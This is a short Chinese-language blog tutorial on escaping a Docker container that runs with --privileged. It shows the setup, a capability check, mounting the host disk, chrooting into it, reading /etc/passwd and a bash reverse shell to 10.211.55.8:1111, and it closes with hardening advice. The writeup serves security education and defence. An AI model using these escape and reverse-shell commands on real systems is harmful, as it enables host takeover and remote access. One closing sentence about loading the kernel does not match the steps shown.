特权容器逃逸(privileged)
影响版本
危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险
漏洞原理
启用--privileged标志的容器拥有宿主机所有权限,可直接操作宿主机设备(如挂载/dev/sda5)或加载内核模块突破隔离。
环境搭建
docker run --privileged -it ubuntu /bin/bash
#cat /proc/self/status | grep CapEff,特权模式容器CapEff掩码值通常为0000003fffffffff或0000001fffffffff
漏洞复现
容器内查看磁盘
lsblk

容器内的/etc/passwd

容器内获取权限
mkdir /test
mount /dev/sda5 /test # 请根据实际磁盘设备修改
# 访问宿主机,即可获得一个宿主机Shell。
chroot /test bash
cat /etc/passwd
bash -i >& /dev/tcp/10.211.55.8/1111 0>&1

成功把内核加载进容器,获得宿主机权限。
修复建议
避免使用--privileged模式或--cap-add=SYS_ADMIN赋予容器宿主机级权限,而是采用--cap-drop=ALL --cap-add=NET_ADMIN等方式,只给容器授予必要的权限。
本文来自博客园,作者:Rodericklog,转载请注明原文链接:https://www.cnblogs.com/rodericklog/articles/19444787

浙公网安备 33010602011771号